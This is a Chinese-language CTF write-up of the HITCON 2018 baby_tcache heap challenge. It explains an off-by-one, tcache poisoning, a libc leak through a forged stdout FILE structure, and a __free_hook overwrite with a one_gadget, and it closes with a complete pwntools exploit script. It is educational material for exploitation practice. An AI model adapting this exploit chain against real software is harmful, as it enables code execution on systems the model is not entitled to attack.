Hitcon2018 baby_tcache writeup

这道题和前一道children_tcache是同一个系列,然而这题难多了_(:зゝ∠)_。在网上搜了一大圈,貌似只有英文的wp,只有硬着头皮肝了。。。这题和children那题唯一的不同就是这题没有现成的输出功能,泄露变得十分困难,还好前段时间也学过了house of orange,不然wp都看不懂。。

题目描述

题目来源:HITCON CTF 2018
知识点:tcache && overlapping && off_by_one && IO_FILE

题目界面:

1
2
3
4
5
6
7
8
$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊 Baby Tcache 🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. New heap $
$ 2. Delete heap $
$ 3. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice:

保护全开:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

漏洞情况

和children_tcache的漏洞点是完全一样的,都是null byte off_by_one,这里就不再分析了。

利用过程

overlapping

和children_tcache几乎相同的操作,通过last_remainder来绕过检查,然后overlapping。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
add_7_times(0x80)
del_7_times(0, 7)
add_7_times(0x120)
del_7_times(0, 7)

add_7_times(0x200)
add(0x208, 'A') #7
add(0x200, 'B') #8
add(0x200, 'C') #9
del_7_times(0, 7)

dele(8)
dele(7) #remain 9

add(0x108, 'A'*0x108) #remain 0 9 || 创建了一个last_remainder

add_7_times(0x80)
add(0x80, 'b1') #remain 0 (1-7) 8 9
del_7_times(1, 8)

add(0x210, 'b2') #add 1 || remain 0 1 8 9 || 将被overlap的chunk

dele(8)
dele(9) #overlap

泄露libc

这里使用IO_FILE来进行泄露,先来看看前提知识。
puts函数内部实现中,先调用_IO_new_file_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
:
:
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base, // our target
f->_IO_write_ptr - f->_IO_write_base);

在这个函数中,正常的输出流程需要调用_IO_do_write,所以f->_flags & _IO_NO_WRITES应该为0,f->_flags & _IO_CURRENTLY_PUTTING不能为0。

然后_IO_do_write会以相同的参数调用new_do_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); // 我们的目标
:
:

我们的目标就是最后的_IO_SYSWRITE(fp, data, to_do)。从_IO_do_write的实参可知,fp就是FILE指针,data就是f->_IO_write_baseto_do则是f->_IO_write_ptr - f->_IO_write_base(数据长度)
因为else if中的条件构造起来十分困难,所以这里让程序流程通过if中的条件,即fp->_flags & _IO_IS_APPENDING

综上,需要满足的条件有

1
2
3
4
5
6
7
8
#define _IO_NO_WRITES 0x0008
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000

_flags = 0xfbad0000 // Magic number,我也很绝望啊,没找到这个数据的解释
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

即flags应该为0xfbad1800
所以,如果可以控制stdout的FILE结构体,将stdout->_flags设置为我们计算出的值并将stdout->_IO_write_base的最低位字节改小一点,这样就能输出内存中的一段数据,而这段数据中通常就会存在libc中的某个地址。
stdout.jpg

因为只要能够修改tcache中chunk的fd指针,就能在任意地址分配chunk。在前面的overlapping中,我们已经满足了这个条件,只需要改写chunk_b2的fd指针到_IO_2_1_stdout_(stdout的FILE结构体),然后就可以在此处分配一个chunk并改写其中的值了。

因为_IO_2_1_stdout_的地址和在unsortedbin中chunk的fd指针的值只有最后3个16进制位不同,所以我们需要先在chunk_b2处通过overlapping申请并释放一个smallchunk来获取fd指针
然后再重新在这分配一个chunk,通过partial overwrite修改最低两个字节,因为有半个字节无法确定,所以先随意确定一个值,通过多次运行使内存中真实值与我们确定的值发生碰撞。

这里我将stdout->_IO_write_base最低位字节设置为\x08,因为刚好从该地址开始的8个字节为libc中的一个地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
dele(1) #b2进入tcache || remain 0

add_7_times(0x80)
add(0x80, 'b1') #add 8
del_7_times(1, 8) #remain 0 8
#此时topchunk与b2重叠

add_7_times(0x120)
add(0x120, 'xxxx') #add 9 || 在b2处创建一个smallchunk
del_7_times(1, 8) #remain 0 8 9
add(0x1000, 'xxxx') #add 1 || 防止topchunk合并
dele(9) #remain 0 1 8 || 将smallchunk又释放掉,获得一个指向libc内部的fd指针

add(0x50, '\x60\xa7') #add 2 || 再在b2处分配一个chunk,并partial overwrite改写fd指针,这个因为_IO_2_1_stdout_的最低3个16进制位为0x760,所以先随意确定该值为0xa760。
add(0x210, 'xxxx') #add 3 || 从tcache中又将b2分配出来,此时_IO_2_1_stdout_的地址将位于tcache中
payload = p64(0xfbad1800)+p64(0)*3+"\x08"
add(0x210, payload) #add 4 || remain 0 1 2 3 4 8 || 在_IO_2_1_stdout_处分配chunk,然后修改其中的变量值

#泄漏libc
libc_base = u64(p.recvline()[:8]) - 0x3ED8B0
print "libc_base : %#x" % libc_base
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322

getshell

在泄露出libc的地址后,接下来的事情就简单多了。因为在上面代码中,索引为2和3的chunk实际都为chunk_b2,所以可以通过tcache中的double free来再次修改fd值,实现在__free_hook处分配chunk,并写入one_gadget。

1
2
3
4
5
6
7
#3和2都是chunk_b2,double free
dele(3)
dele(2)
add(0x50, p64(free_hook)) #修改fd为free_hook
add(0x50, 'xxxx')
add(0x50, p64(one_gadget)) #将free_hook修改为onegadget
dele(0)

getshell.png

我的EXP

本地环境: Ubuntu 18.04.1 LTS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# coding=utf-8
from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

p=process('./baby_tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size, content):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(content)

def dele(index):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))

def add_7_times(size):
for _ in range(7):
add(size, 'xxxx')

def del_7_times(begin, end):
for i in range(begin, end):
dele(i)

def main():
add_7_times(0x80)
del_7_times(0, 7)
add_7_times(0x120)
del_7_times(0, 7)

add_7_times(0x200)
add(0x208, 'A') #7
add(0x200, 'B') #8
add(0x200, 'C') #9
del_7_times(0, 7)

dele(8)
dele(7) #remain 9

add(0x108, 'A'*0x108) #remain 0 9 || 创建了一个last_remainder

add_7_times(0x80)
add(0x80, 'b1') #remain 0 (1-7) 8 9
del_7_times(1, 8)

add(0x210, 'b2') #add 1 || remain 0 1 8 9 || 将被overlap的chunk

dele(8)
dele(9) #overlap

dele(1) #b2进入tcache || remain 0

add_7_times(0x80)
add(0x80, 'b1') #add 8
del_7_times(1, 8) #remain 0 8
#此时topchunk与b2重叠

add_7_times(0x120)
add(0x120, 'xxxx') #add 9 || 在b2处创建一个smallchunk
del_7_times(1, 8) #remain 0 8 9
add(0x1000, 'xxxx') #add 1 || 防止topchunk合并
dele(9) #remain 0 1 8 || 将smallchunk又释放掉,获得一个指向libc的fd指针

add(0x50, '\x60\xa7') #add 2 || 再在b2处分配一个chunk,并partial overwrite改写fd指针
add(0x210, 'xxxx') #add 3 || 从tcache中又将b2分配出来,_IO_2_1_stdout_的地址位于tcache中
payload = p64(0xfbad1800)+p64(0)*3+"\x08"
add(0x210, payload) #add 4 || remain 0 1 2 3 4 8 || 在_IO_2_1_stdout_处分配chunk,然后修改其中的变量值

#泄漏libc
libc_base = u64(p.recvline()[:8]) - 0x3ED8B0
print "libc_base : %#x" % libc_base
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322

#3和2都是b2,double free
dele(3)
dele(2)
add(0x50, p64(free_hook)) #修改fd为free_hook
add(0x50, 'xxxx')
add(0x50, p64(one_gadget)) #将free_hook修改为onegadget
dele(0)

if __name__ == '__main__':
while(True):
try:
main()
# gdb.attach(p)
p.interactive()
p.close()
break
except:
p.close()
p = process('./baby_tcache')

相关链接

二进制文件:baby_tcache
writeup参考:
https://vigneshsrao.github.io/babytcache/
https://znqt.github.io/hitcon2018-babytcache/

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/8e1cd5dc.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏